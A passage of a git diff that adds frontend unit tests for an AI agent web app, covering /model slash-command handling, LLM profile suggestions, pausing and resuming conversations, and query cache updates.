+  timestamp: new Date().toISOString(),
+  source: "user" as const,
+  llm_message: {
+    role: "user" as const,
+    content: [{ type: "text" as const, text: "User message" }],
+  },
+  activated_skills: [],
+  extended_content: [],
+});
+
+const makeWrapper = () => {
+  const queryClient = new QueryClient({
+    defaultOptions: {
+      queries: { retry: false },
+      mutations: { retry: false },
+    },
+  });
+
+  return function Wrapper({ children }: { children: React.ReactNode }) {
+    return (
+      <QueryClientProvider client={queryClient}>
+        <ActiveBackendProvider>{children}</ActiveBackendProvider>
+      </QueryClientProvider>
+    );
+  };
+};
+
+describe("useModelInterceptor", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+    window.localStorage.clear();
+    vi.spyOn(ProfilesService, "listProfiles").mockResolvedValue({
+      profiles: [],
+      active_profile: null,
+    });
+    __resetActiveStoreForTests();
+    useEventStore.getState().clearEvents();
+    useModelStore.setState({ entriesByConversation: {} });
+  });
+
+  it("lists profiles inline for bare /model submissions", async () => {
+    vi.mocked(ProfilesService.listProfiles).mockResolvedValueOnce({
+      profiles: [
+        {
+          name: "haiku",
+          model: "anthropic/claude-haiku-4-5",
+          base_url: null,
+          api_key_set: true,
+        },
+      ],
+      active_profile: "haiku",
+    });
+    useEventStore.getState().addEvent(createUserMessageEvent("message-1"));
+    const onSubmit = vi.fn();
+
+    const { result } = renderHook(
+      () => useModelInterceptor(CONVERSATION_ID, onSubmit),
+      { wrapper: makeWrapper() },
+    );
+
+    act(() => result.current(" /model "));
+
+    await waitFor(() => {
+      expect(
+        useModelStore.getState().entriesByConversation[CONVERSATION_ID],
+      ).toEqual([
+        expect.objectContaining({
+          anchorEventId: "message-1",
+          profiles: [expect.objectContaining({ name: "haiku" })],
+        }),
+      ]);
+    });
+    expect(onSubmit).not.toHaveBeenCalled();
+    expect(mockSwitchAndLog).not.toHaveBeenCalled();
+  });
+
+  it("switches profiles for /model <name> submissions", () => {
+    const onSubmit = vi.fn();
+    const { result } = renderHook(
+      () => useModelInterceptor(CONVERSATION_ID, onSubmit),
+      { wrapper: makeWrapper() },
+    );
+
+    act(() => result.current("/model haiku"));
+
+    expect(mockSwitchAndLog).toHaveBeenCalledWith(CONVERSATION_ID, "haiku");
+    expect(onSubmit).not.toHaveBeenCalled();
+    expect(ProfilesService.listProfiles).not.toHaveBeenCalled();
+  });
+
+  it("falls through for non-model messages", () => {
+    const onSubmit = vi.fn();
+    const { result } = renderHook(
+      () => useModelInterceptor(CONVERSATION_ID, onSubmit),
+      { wrapper: makeWrapper() },
+    );
+
+    act(() => result.current("hello /model haiku"));
+
+    expect(onSubmit).toHaveBeenCalledWith("hello /model haiku");
+    expect(mockSwitchAndLog).not.toHaveBeenCalled();
+  });
+
+  it("intercepts on cloud backends (cloud also manages the LLM via profiles)", () => {
+    setRegisteredBackends([cloudBackend]);
+    setActiveSelection({ backendId: cloudBackend.id });
+    const onSubmit = vi.fn();
+
+    const { result } = renderHook(
+      () => useModelInterceptor(CONVERSATION_ID, onSubmit),
+      { wrapper: makeWrapper() },
+    );
+
+    act(() => result.current("/model haiku"));
+
+    expect(mockSwitchAndLog).toHaveBeenCalledWith(CONVERSATION_ID, "haiku");
+    expect(onSubmit).not.toHaveBeenCalled();
+  });
+
+  it("activates the named profile globally even when no conversation is set", () => {
+    const onSubmit = vi.fn();
+    const { result } = renderHook(() => useModelInterceptor(null, onSubmit), {
+      wrapper: makeWrapper(),
+    });
+
+    act(() => result.current("/model haiku"));
+
+    // Message is intercepted (never forwarded to the LLM) and the activate
+    // call still fires — the home-page `/model NAME` flow.
+    expect(onSubmit).not.toHaveBeenCalled();
+    expect(mockSwitchAndLog).toHaveBeenCalledWith(null, "haiku");
+  });
+
+  it("swallows bare /model on the home page (no conversation to anchor to)", () => {
+    const onSubmit = vi.fn();
+    const { result } = renderHook(() => useModelInterceptor(null, onSubmit), {
+      wrapper: makeWrapper(),
+    });
+
+    act(() => result.current("/model"));
+
+    expect(onSubmit).not.toHaveBeenCalled();
+    expect(mockSwitchAndLog).not.toHaveBeenCalled();
+  });
+
+  it("shows an error toast when listing profiles fails", async () => {
+    vi.mocked(ProfilesService.listProfiles).mockRejectedValue(
+      new Error("Network error"),
+    );
+    const onSubmit = vi.fn();
+
+    const { result } = renderHook(
+      () => useModelInterceptor(CONVERSATION_ID, onSubmit),
+      { wrapper: makeWrapper() },
+    );
+
+    act(() => result.current("/model"));
+
+    await waitFor(() => {
+      expect(mockDisplayErrorToast).toHaveBeenCalledWith("Network error");
+    });
+    expect(onSubmit).not.toHaveBeenCalled();
+  });
+});
diff --git a/__tests__/hooks/chat/use-slash-command.test.ts b/__tests__/hooks/chat/use-slash-command.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..1062ea08b0757ec6e61c08cc0a8dc1371b410392
--- /dev/null
+++ b/__tests__/hooks/chat/use-slash-command.test.ts
@@ -0,0 +1,226 @@
+import React from "react";
+import { act, renderHook } from "@testing-library/react";
+import { describe, it, expect, vi, beforeEach, afterEach } from "vitest";
+import { useSlashCommand } from "#/hooks/chat/use-slash-command";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import { useFreeModelsStore } from "#/stores/free-models-store";
+
+const mockSkills = vi.hoisted(() => ({
+  data: undefined as unknown[] | undefined,
+  isLoading: false,
+}));
+
+const mockConversation = vi.hoisted(() => ({
+  data: undefined as { conversation_version?: "V0" | "V1" } | undefined,
+}));
+
+vi.mock("#/hooks/query/use-skills", () => ({
+  useSkills: () => mockSkills,
+}));
+
+const mockLlmProfiles = vi.hoisted(() => ({
+  data: undefined as
+    | {
+        profiles: Array<{
+          name: string;
+          model: string | null;
+          base_url: string | null;
+          api_key_set: boolean;
+        }>;
+        active_profile: string | null;
+      }
+    | undefined,
+  isLoading: false,
+}));
+
+vi.mock("#/hooks/query/use-conversation-skills", () => ({
+  useConversationSkills: () => mockSkills,
+}));
+
+vi.mock("#/hooks/query/use-llm-profiles", () => ({
+  useLlmProfiles: () => mockLlmProfiles,
+}));
+
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+  useActiveConversation: () => mockConversation,
+}));
+
+function makeSkill(
+  name: string,
+  triggers: string[] = [],
+  type: "agentskills" | "knowledge" = "agentskills",
+) {
+  return { name, type, content: `Description of ${name}`, triggers };
+}
+
+function makeChatInputRef() {
+  return { current: document.createElement("div") };
+}
+
+function setInputText(element: HTMLDivElement, text: string) {
+  element.textContent = text;
+  element.innerText = text;
+  document.body.appendChild(element);
+
+  const textNode = element.firstChild;
+  if (!textNode) return;
+
+  const range = document.createRange();
+  const selection = window.getSelection();
+  range.setStart(textNode, text.length);
+  range.collapse(true);
+  selection?.removeAllRanges();
+  selection?.addRange(range);
+}
+
+const cloudBackend: Backend = {
+  id: "prod",
+  name: "Production",
+  host: "https://app.all-hands.dev",
+  apiKey: "bearer-token",
+  kind: "cloud",
+};
+
+describe("useSlashCommand", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+    mockSkills.data = undefined;
+    mockSkills.isLoading = false;
+    mockLlmProfiles.data = undefined;
+    mockLlmProfiles.isLoading = false;
+    mockConversation.data = undefined;
+    useFreeModelsStore.getState().setFlags({
+      freeModels: new Set(),
+      defaultModel: null,
+    });
+  });
+
+  afterEach(() => {
+    document.body.innerHTML = "";
+    window.localStorage.clear?.();
+    __resetActiveStoreForTests();
+  });
+
+  it("excludes /new from the built-in commands on a local backend", () => {
+    // Arrange — default active backend is the bundled local one.
+    mockConversation.data = { conversation_version: "V1" };
+    mockSkills.data = [makeSkill("code-search", ["/code-search"])];
+
+    // Act
+    const ref = makeChatInputRef();
+    const { result } = renderHook(() => useSlashCommand(ref));
+
+    // Assert
+    const commands = result.current.filteredItems.map((i) => i.command);
+    expect(commands).not.toContain("/new");
+    expect(commands).toEqual(expect.arrayContaining(["/btw", "/code-search"]));
+  });
+
+  it("includes /new in the built-in commands on a cloud backend", () => {
+    // Arrange
+    setRegisteredBackends([cloudBackend]);
+    setActiveSelection({ backendId: cloudBackend.id });
+    mockConversation.data = { conversation_version: "V1" };
+    mockSkills.data = [];
+
+    const wrapper = ({ children }: { children: React.ReactNode }) =>
+      React.createElement(ActiveBackendProvider, null, children);
+
+    // Act
+    const ref = makeChatInputRef();
+    const { result } = renderHook(() => useSlashCommand(ref), { wrapper });
+
+    // Assert
+    const commands = result.current.filteredItems.map((i) => i.command);
+    expect(commands).toContain("/new");
+  });
+
+  it("suggests saved LLM profiles after /model on a local backend", () => {
+    // The active backend store is reset before each test, which restores the default local backend.
+
+    mockSkills.data = [];
+    useFreeModelsStore.getState().setFlags({
+      freeModels: new Set(["openhands/glm-5.2"]),
+      defaultModel: "openhands/glm-5.2",
+    });
+    mockLlmProfiles.data = {
+      profiles: [
+        {
+          name: "haiku",
+          model: "anthropic/claude-haiku-4-5",
+          base_url: null,
+          api_key_set: true,
+        },
+        {
+          name: "gpt",
+          model: "openai/gpt-5.1",
+          base_url: null,
+          api_key_set: true,
+        },
+        {
+          name: "free",
+          model: "openhands/glm-5.2",
+          base_url: null,
+          api_key_set: true,
+        },
+      ],
+      active_profile: "haiku",
+    };
+
+    const ref = makeChatInputRef();
+    setInputText(ref.current, "/model");
+
+    const { result } = renderHook(() => useSlashCommand(ref));
+
+    act(() => result.current.updateSlashMenu());
+
+    expect(result.current.isMenuOpen).toBe(true);
+    expect(result.current.filteredItems.map((i) => i.command)).toEqual([
+      "/model haiku",
+      "/model gpt",
+      "/model free",
+    ]);
+    expect(
+      result.current.filteredItems.find((i) => i.command === "/model free")
+        ?.skill.content,
+    ).toBe("Switch to openhands/glm-5.2 (free)");
+  });
+
+  it("filters saved LLM profile suggestions by profile name or model", () => {
+    mockSkills.data = [];
+    mockLlmProfiles.data = {
+      profiles: [
+        {
+          name: "haiku",
+          model: "anthropic/claude-haiku-4-5",
+          base_url: null,
+          api_key_set: true,
+        },
+        {
+          name: "gpt",
+          model: "openai/gpt-5.1",
+          base_url: null,
+          api_key_set: true,
+        },
+      ],
+      active_profile: null,
+    };
+
+    const ref = makeChatInputRef();
+    setInputText(ref.current, "/model claude");
+
+    const { result } = renderHook(() => useSlashCommand(ref));
+
+    act(() => result.current.updateSlashMenu());
+
+    expect(result.current.filteredItems.map((i) => i.command)).toEqual([
+      "/model haiku",
+    ]);
+  });
+});
diff --git a/__tests__/hooks/mutation/conversation-mutation-utils.test.ts b/__tests__/hooks/mutation/conversation-mutation-utils.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..a1f4bb40b7878ffe5e1b9c3aac630011d95a5a37
--- /dev/null
+++ b/__tests__/hooks/mutation/conversation-mutation-utils.test.ts
@@ -0,0 +1,416 @@
+import type { StartGoalRequest } from "@openhands/typescript-client";
+import { ConversationClient } from "@openhands/typescript-client/clients";
+import { QueryClient } from "@tanstack/react-query";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import type { AppConversation } from "#/api/conversation-service/agent-server-conversation-service.types";
+import {
+  askAgent,
+  invalidateConversationQueries,
+  patchConversationInCache,
+  pauseConversation,
+  resumeConversation,
+  resumeGoal,
+  startGoal,
+  stopGoal,
+} from "#/hooks/mutation/conversation-mutation-utils";
+import { ExecutionStatus } from "#/types/agent-server/core/base/common";
+
+const mocks = vi.hoisted(() => ({
+  askAgent: vi.fn(),
+  batchGetAppConversations: vi.fn(),
+  getActiveBackend: vi.fn(),
+  getAgentServerClientOptions: vi.fn(),
+  interruptConversation: vi.fn(),
+  pauseCloudSandbox: vi.fn(),
+  resumeGoal: vi.fn(),
+  runConversation: vi.fn(),
+  startGoal: vi.fn(),
+  stopGoal: vi.fn(),
+}));
+
+vi.mock("@openhands/typescript-client/clients", () => ({
+  ConversationClient: vi.fn(function ConversationClientMock() {
+    return {
+      askAgent: mocks.askAgent,
+      interruptConversation: mocks.interruptConversation,
+      resumeGoal: mocks.resumeGoal,
+      runConversation: mocks.runConversation,
+      startGoal: mocks.startGoal,
+      stopGoal: mocks.stopGoal,
+    };
+  }),
+}));
+
+vi.mock("#/api/backend-registry/active-store", () => ({
+  getActiveBackend: mocks.getActiveBackend,
+}));
+
+vi.mock("#/api/cloud/conversation-service.api", () => ({
+  pauseCloudSandbox: mocks.pauseCloudSandbox,
+}));
+
+vi.mock("#/api/agent-server-client-options", () => ({
+  getAgentServerClientOptions: mocks.getAgentServerClientOptions,
+}));
+
+vi.mock(
+  "#/api/conversation-service/agent-server-conversation-service.api",
+  () => ({
+    default: {
+      batchGetAppConversations: mocks.batchGetAppConversations,
+    },
+  }),
+);
+
+const CONV_ID = "conv-test-1";
+const CLIENT_OPTIONS = {
+  host: "https://runtime.example.com",
+  apiKey: "runtime-session-key",
+  workingDir: "/workspace/project",
+};
+
+const makeConversation = (
+  overrides: Partial<AppConversation> = {},
+): AppConversation => ({
+  id: CONV_ID,
+  created_by_user_id: null,
+  selected_repository: null,
+  selected_branch: null,
+  git_provider: null,
+  title: "Test conversation",
+  trigger: null,
+  pr_number: [],
+  llm_model: null,
+  metrics: null,
+  created_at: "2024-01-01T00:00:00Z",
+  updated_at: "2024-01-01T00:00:00Z",
+  execution_status: null,
+  conversation_url: "https://runtime.example.com/api/conversations/conv-test-1",
+  session_api_key: "runtime-session-key",
+  sandbox_id: "sandbox-1",
+  sandbox_status: "RUNNING",
+  sub_conversation_ids: [],
+  ...overrides,
+});
+
+const makeQueryClient = () =>
+  new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+
+const loadFreshConversationMutationUtils = async () => {
+  vi.resetModules();
+  return import("#/hooks/mutation/conversation-mutation-utils");
+};
+
+const prepareRuntimeConversation = (
+  overrides: Partial<AppConversation> = {},
+) => {
+  const conversation = makeConversation(overrides);
+  mocks.batchGetAppConversations.mockResolvedValueOnce([conversation]);
+  mocks.getAgentServerClientOptions.mockReturnValue(CLIENT_OPTIONS);
+  return conversation;
+};
+
+const expectRuntimeClient = (
+  conversationId: string,
+  conversation: AppConversation,
+) => {
+  expect(mocks.batchGetAppConversations).toHaveBeenCalledOnce();
+  expect(mocks.batchGetAppConversations).toHaveBeenCalledWith([conversationId]);
+  expect(mocks.getAgentServerClientOptions).toHaveBeenCalledOnce();
+  expect(mocks.getAgentServerClientOptions).toHaveBeenCalledWith({
+    conversationUrl: conversation.conversation_url,
+    sessionApiKey: conversation.session_api_key,
+  });
+  expect(ConversationClient).toHaveBeenCalledOnce();
+  expect(ConversationClient).toHaveBeenCalledWith(CLIENT_OPTIONS);
+};
+
+afterEach(() => {
+  vi.clearAllMocks();
+});
+
+describe("conversation runtime commands", () => {
+  it("reports the requested id when the conversation cannot be loaded", async () => {
+    mocks.batchGetAppConversations.mockResolvedValueOnce([]);
+
+    await expect(
+      askAgent("missing-conversation", "Are you there?"),
+    ).rejects.toThrow("V1 conversation not found: missing-conversation");
+
+    expect(mocks.batchGetAppConversations).toHaveBeenCalledWith([
+      "missing-conversation",
+    ]);
+    expect(mocks.getAgentServerClientOptions).not.toHaveBeenCalled();
+    expect(ConversationClient).not.toHaveBeenCalled();
+    expect(mocks.askAgent).not.toHaveBeenCalled();
+  });
+
+  it("interrupts a local conversation through its runtime client", async () => {
+    const conversation = prepareRuntimeConversation();
+    const response = { success: true };
+    mocks.getActiveBackend.mockReturnValueOnce({
+      backend: { kind: "local" },
+    });
+    mocks.interruptConversation.mockResolvedValueOnce(response);
+
+    await expect(pauseConversation(CONV_ID)).resolves.toBe(response);
+
+    expectRuntimeClient(CONV_ID, conversation);
+    expect(mocks.interruptConversation).toHaveBeenCalledOnce();
+    expect(mocks.interruptConversation).toHaveBeenCalledWith(CONV_ID);
+    expect(mocks.pauseCloudSandbox).not.toHaveBeenCalled();
+  });
+
+  it("pauses a cloud sandbox without constructing a runtime client", async () => {
+    prepareRuntimeConversation({ sandbox_id: "sandbox-cloud-7" });
+    mocks.getActiveBackend.mockReturnValueOnce({
+      backend: { kind: "cloud" },
+    });
+    mocks.pauseCloudSandbox.mockResolvedValueOnce(undefined);
+
+    await expect(pauseConversation(CONV_ID)).resolves.toEqual({
+      success: true,
+    });
+
+    expect(mocks.pauseCloudSandbox).toHaveBeenCalledOnce();
+    expect(mocks.pauseCloudSandbox).toHaveBeenCalledWith("sandbox-cloud-7");
+    expect(mocks.getAgentServerClientOptions).not.toHaveBeenCalled();
+    expect(ConversationClient).not.toHaveBeenCalled();
+    expect(mocks.interruptConversation).not.toHaveBeenCalled();
+  });
+
+  it("rejects a cloud pause when the conversation has no sandbox", async () => {
+    prepareRuntimeConversation({ sandbox_id: null });
+    mocks.getActiveBackend.mockReturnValueOnce({
+      backend: { kind: "cloud" },
+    });
+
+    await expect(pauseConversation(CONV_ID)).rejects.toThrow(
+      `Cannot stop runtime: cloud conversation ${CONV_ID} has no sandbox_id.`,
+    );
+
+    expect(mocks.pauseCloudSandbox).not.toHaveBeenCalled();
+    expect(mocks.getAgentServerClientOptions).not.toHaveBeenCalled();
+    expect(ConversationClient).not.toHaveBeenCalled();
+  });
+
+  it("asks the runtime agent the exact side question", async () => {
+    const conversation = prepareRuntimeConversation();
+    const response = { response: "The build is green." };
+    mocks.askAgent.mockResolvedValueOnce(response);
+
+    await expect(askAgent(CONV_ID, "What is the build status?")).resolves.toBe(
+      response,
+    );
+
+    expectRuntimeClient(CONV_ID, conversation);
+    expect(mocks.askAgent).toHaveBeenCalledOnce();
+    expect(mocks.askAgent).toHaveBeenCalledWith(
+      CONV_ID,
+      "What is the build status?",
+    );
+  });
+
+  it("starts a goal with the complete request", async () => {
+    const conversation = prepareRuntimeConversation();
+    const request: StartGoalRequest = {
+      objective: "Finish the focused test suite",
+      max_iterations: 4,
+    };
+    mocks.startGoal.mockResolvedValueOnce(undefined);
+
+    await expect(startGoal(CONV_ID, request)).resolves.toBeUndefined();
+
+    expectRuntimeClient(CONV_ID, conversation);
+    expect(mocks.startGoal).toHaveBeenCalledOnce();
+    expect(mocks.startGoal).toHaveBeenCalledWith(CONV_ID, request);
+  });
+
+  it("stops the active goal for the requested conversation", async () => {
+    const conversation = prepareRuntimeConversation();
+    mocks.stopGoal.mockResolvedValueOnce(undefined);
+
+    await expect(stopGoal(CONV_ID)).resolves.toBeUndefined();
+
+    expectRuntimeClient(CONV_ID, conversation);
+    expect(mocks.stopGoal).toHaveBeenCalledOnce();
+    expect(mocks.stopGoal).toHaveBeenCalledWith(CONV_ID);
+  });
+
+  it("resumes the interrupted goal for the requested conversation", async () => {
+    const conversation = prepareRuntimeConversation();
+    mocks.resumeGoal.mockResolvedValueOnce(undefined);
+
+    await expect(resumeGoal(CONV_ID)).resolves.toBeUndefined();
+
+    expectRuntimeClient(CONV_ID, conversation);
+    expect(mocks.resumeGoal).toHaveBeenCalledOnce();
+    expect(mocks.resumeGoal).toHaveBeenCalledWith(CONV_ID);
+  });
+
+  it("runs a paused conversation through its runtime client", async () => {
+    const conversation = prepareRuntimeConversation();
+    const response = { status: "running" };
+    mocks.runConversation.mockResolvedValueOnce(response);
+
+    await expect(resumeConversation(CONV_ID)).resolves.toBe(response);
+
+    expectRuntimeClient(CONV_ID, conversation);
+    expect(mocks.runConversation).toHaveBeenCalledOnce();
+    expect(mocks.runConversation).toHaveBeenCalledWith(CONV_ID);
+  });
+});
+
+describe("conversation cache synchronization", () => {
+  it("patches the matching single-item cache across backend key variants", () => {
+    const queryClient = makeQueryClient();
+    const queryKey = ["user", "conversation", CONV_ID, "backend-local", null];
+    const conversation = makeConversation({ sandbox_status: "RUNNING" });
+    queryClient.setQueryData(queryKey, conversation);
+
+    patchConversationInCache(queryClient, CONV_ID, {
+      sandbox_status: "PAUSED",
+    });
+
+    expect(queryClient.getQueryData(queryKey)).toEqual({
+      ...conversation,
+      sandbox_status: "PAUSED",
+    });
+  });
+
+  it("does not alter unrelated query families", () => {
+    const queryClient = makeQueryClient();
+    const unrelatedKey = ["settings", "conversation"];
+    const unrelatedData = {
+      activeProfile: "default",
+      confirmationPolicy: "never",
+    };
+    queryClient.setQueryData(unrelatedKey, unrelatedData);
+
+    patchConversationInCache(queryClient, CONV_ID, {
+      sandbox_status: "PAUSED",
+    });
+
+    expect(queryClient.getQueryData(unrelatedKey)).toBe(unrelatedData);
+  });
+
+  it("patches every matching list item while preserving pages and other conversations", () => {
+    const queryClient = makeQueryClient();
+    const queryKey = ["user", "conversations", "backend-local", null];
+    const firstMatch = makeConversation({ title: "First match" });
+    const secondMatch = makeConversation({ title: "Second match" });
+    const other = makeConversation({ id: "conv-other", title: "Other" });
+    const firstPage = { items: [firstMatch, other], next_page_id: "page-2" };
+    const secondPage = { items: [secondMatch], next_page_id: null };
+    queryClient.setQueryData(queryKey, {
+      pages: [firstPage, secondPage],
+      pageParams: [null, "page-2"],
+    });
+
+    patchConversationInCache(queryClient, CONV_ID, {
+      execution_status: ExecutionStatus.PAUSED,
+      sandbox_status: "PAUSED",
+    });
+
+    const cached = queryClient.getQueryData<{
+      pages: Array<{ items: AppConversation[]; next_page_id: string | null }>;
+      pageParams: Array<string | null>;
+    }>(queryKey);
+    expect(cached?.pages[0]).toEqual({
+      ...firstPage,
+      items: [
+        {
+          ...firstMatch,
+          execution_status: ExecutionStatus.PAUSED,
+          sandbox_status: "PAUSED",
+        },
+        other,
+      ],
+    });
+    expect(cached?.pages[1]).toEqual({
+      ...secondPage,
+      items: [
+        {
+          ...secondMatch,
+          execution_status: ExecutionStatus.PAUSED,
+          sandbox_status: "PAUSED",
+        },
+      ],
+    });
+    expect(cached?.pages[0]?.items[1]).toBe(other);
+    expect(cached?.pageParams).toEqual([null, "page-2"]);
+  });
+
+  it("leaves registered caches without data empty", () => {
+    const queryClient = makeQueryClient();
+    const conversationKey = ["user", "conversation", CONV_ID];
+    const conversationsKey = ["user", "conversations"];
+    queryClient.getQueryCache().build(queryClient, {
+      queryKey: conversationKey,
+    });
+    queryClient.getQueryCache().build(queryClient, {
+      queryKey: conversationsKey,
+    });
+
+    patchConversationInCache(queryClient, CONV_ID, {
+      sandbox_status: "PAUSED",
+    });
+
+    expect(queryClient.getQueryState(conversationKey)?.data).toBeUndefined();
+    expect(queryClient.getQueryState(conversationsKey)?.data).toBeUndefined();
+  });
+
+  it("updates execution status without disturbing other cached fields", async () => {
+    const { updateConversationExecutionStatusInCache: updateExecutionStatus } =
+      await loadFreshConversationMutationUtils();
+    const queryClient = makeQueryClient();
+    const queryKey = ["user", "conversation", CONV_ID];
+    const conversation = makeConversation({
+      execution_status: ExecutionStatus.RUNNING,
+      sandbox_status: "RUNNING",
+    });
+    queryClient.setQueryData(queryKey, conversation);
+
+    updateExecutionStatus(queryClient, CONV_ID, ExecutionStatus.PAUSED);
+
+    expect(queryClient.getQueryData(queryKey)).toEqual({
+      ...conversation,
+      execution_status: ExecutionStatus.PAUSED,
+    });
+  });
+
+  it("updates the LLM model without disturbing other cached fields", async () => {
+    const { updateConversationLlmModelInCache: updateLlmModel } =
+      await loadFreshConversationMutationUtils();
+    const queryClient = makeQueryClient();
+    const queryKey = ["user", "conversation", CONV_ID];
+    const conversation = makeConversation({
+      llm_model: "provider/old-model",
+      sandbox_status: "RUNNING",
+    });
+    queryClient.setQueryData(queryKey, conversation);
+
+    updateLlmModel(queryClient, CONV_ID, "provider/new-model");
+
+    expect(queryClient.getQueryData(queryKey)).toEqual({
+      ...conversation,
+      llm_model: "provider/new-model",
+    });
+  });
+
+  it("invalidates every conversation-dependent query family", () => {
+    const queryClient = makeQueryClient();
+    const invalidateQueries = vi.spyOn(queryClient, "invalidateQueries");
+
+    expect(invalidateConversationQueries(queryClient, CONV_ID)).toBeUndefined();
+
+    expect(invalidateQueries.mock.calls).toEqual([
+      [{ queryKey: ["user", "conversation", CONV_ID] }],
+      [{ queryKey: ["user", "conversations"] }],
+      [{ queryKey: ["v1-batch-get-app-conversations"] }],
+      [{ queryKey: ["unified", "vscode_url"] }],
+    ]);
+  });
+});
diff --git a/__tests__/hooks/mutation/pause-conversation-local.test.ts b/__tests__/hooks/mutation/pause-conversation-local.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..17bafd83d247d9d07b600ff8bce32caac29c1a92
--- /dev/null
+++ b/__tests__/hooks/mutation/pause-conversation-local.test.ts
@@ -0,0 +1,93 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import type { AppConversation } from "#/api/conversation-service/agent-server-conversation-service.types";
+import { pauseConversation } from "#/hooks/mutation/conversation-mutation-utils";
+import { ExecutionStatus } from "#/types/agent-server/core/base/common";
+
+const { interruptConversationMock } = vi.hoisted(() => ({
+  interruptConversationMock: vi.fn(),
+}));
+
+vi.mock("@openhands/typescript-client/clients", () => ({
+  ConversationClient: vi.fn(function ConversationClientMock() {
+    return { interruptConversation: interruptConversationMock };
+  }),
+}));
+
+const localBackend: Backend = {
+  id: "local",
+  name: "Local",
+  host: "http://localhost:18000",
+  apiKey: "test-key",
+  kind: "local",
+};
+
+const buildConversation = (
+  overrides: Partial<AppConversation> = {},
+): AppConversation => ({
+  id: "conv-local-1",
+  created_by_user_id: null,
+  selected_repository: null,
+  selected_branch: null,
+  git_provider: null,
+  title: "Test",
+  trigger: null,
+  pr_number: [],
+  llm_model: null,
+  metrics: null,
+  created_at: "2026-04-16T00:00:00Z",
+  updated_at: "2026-04-16T00:00:00Z",
+  execution_status: ExecutionStatus.RUNNING,
+  conversation_url: "http://localhost:18000",
+  session_api_key: "sess-key",
+  sandbox_id: null,
+  sub_conversation_ids: [],
+  ...overrides,
+});
+
+beforeEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  setRegisteredBackends([localBackend]);
+  setActiveSelection({ backendId: localBackend.id });
+  interruptConversationMock.mockReset();
+});
+
+afterEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  vi.restoreAllMocks();
+});
+
+describe("pauseConversation local branch", () => {
+  it("calls interruptConversation on the local agent server", async () => {
+    vi.spyOn(
+      AgentServerConversationService,
+      "batchGetAppConversations",
+    ).mockResolvedValue([buildConversation()]);
+    interruptConversationMock.mockResolvedValue({ success: true });
+
+    await pauseConversation("conv-local-1");
+
+    expect(interruptConversationMock).toHaveBeenCalledOnce();
+    expect(interruptConversationMock).toHaveBeenCalledWith("conv-local-1");
+  });
+
+  it("propagates errors from interruptConversation", async () => {
+    vi.spyOn(
+      AgentServerConversationService,
+      "batchGetAppConversations",
+    ).mockResolvedValue([buildConversation()]);
+    interruptConversationMock.mockRejectedValue(new Error("interrupt failed"));
+
+    await expect(pauseConversation("conv-local-1")).rejects.toThrow(
+      "interrupt failed",
+    );
+  });
+});
diff --git a/__tests__/hooks/mutation/pause-conversation-mutation-behavior.test.tsx b/__tests__/hooks/mutation/pause-conversation-mutation-behavior.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..8a2efa1c25d75b419201e451abca4fb329a1e97c
--- /dev/null
+++ b/__tests__/hooks/mutation/pause-conversation-mutation-behavior.test.tsx
@@ -0,0 +1,189 @@
+import { act, renderHook, waitFor } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { AxiosError } from "axios";
+import type { ReactNode } from "react";
+import { describe, expect, it, vi } from "vitest";
+import { usePauseConversation } from "#/hooks/mutation/use-pause-conversation";
+
+const { pauseConversationMock } = vi.hoisted(() => ({
+  pauseConversationMock: vi.fn(),
+}));
+
+vi.mock("#/hooks/mutation/conversation-mutation-utils", () => ({
+  pauseConversation: (...args: unknown[]) => pauseConversationMock(...args),
+}));
+
+const CONVERSATIONS_QUERY_KEY = ["user", "conversations"] as const;
+
+interface SetupOptions {
+  previousConversations?: unknown;
+}
+
+const setup = ({ previousConversations }: SetupOptions = {}) => {
+  vi.clearAllMocks();
+  pauseConversationMock.mockResolvedValue({ success: true });
+
+  const queryClient = new QueryClient({
+    defaultOptions: {
+      mutations: { retry: false },
+      queries: { retry: false },
+    },
+  });
+
+  if (previousConversations !== undefined) {
+    queryClient.setQueryData(CONVERSATIONS_QUERY_KEY, previousConversations);
+  }
+
+  const cancelQueries = vi.spyOn(queryClient, "cancelQueries");
+  const getQueryData = vi.spyOn(queryClient, "getQueryData");
+  const setQueryData = vi.spyOn(queryClient, "setQueryData");
+  const invalidateQueries = vi.spyOn(queryClient, "invalidateQueries");
+  const wrapper = ({ children }: { children: ReactNode }) => (
+    <QueryClientProvider client={queryClient}>{children}</QueryClientProvider>
+  );
+  const hook = renderHook(() => usePauseConversation(), { wrapper });
+
+  return {
+    ...hook,
+    cancelQueries,
+    getQueryData,
+    invalidateQueries,
+    queryClient,
+    setQueryData,
+  };
+};
+
+const createDeferred = () => {
+  const resolvers: { resolve?: () => void } = {};
+  const promise = new Promise<void>((resolve) => {
+    resolvers.resolve = resolve;
+  });
+
+  return {
+    promise,
+    resolve: () => resolvers.resolve?.(),
+  };
+};
+
+const expectedInvalidations = (conversationId: string) => [
+  [{ queryKey: ["user", "conversation", conversationId] }],
+  [{ queryKey: ["user", "conversations"] }],
+  [{ queryKey: ["v1-batch-get-app-conversations"] }],
+];
+
+describe("pause conversation mutation behavior", () => {
+  it("waits for cancellation, snapshots the list, forwards the id, and invalidates exact caches", async () => {
+    const previousConversations = {
+      pages: [{ items: [{ id: "conversation-42", title: "Before" }] }],
+    };
+    const cancellation = createDeferred();
+    const { cancelQueries, getQueryData, invalidateQueries, result } = setup({
+      previousConversations,
+    });
+    cancelQueries.mockReturnValueOnce(cancellation.promise);
+    const mutation = {
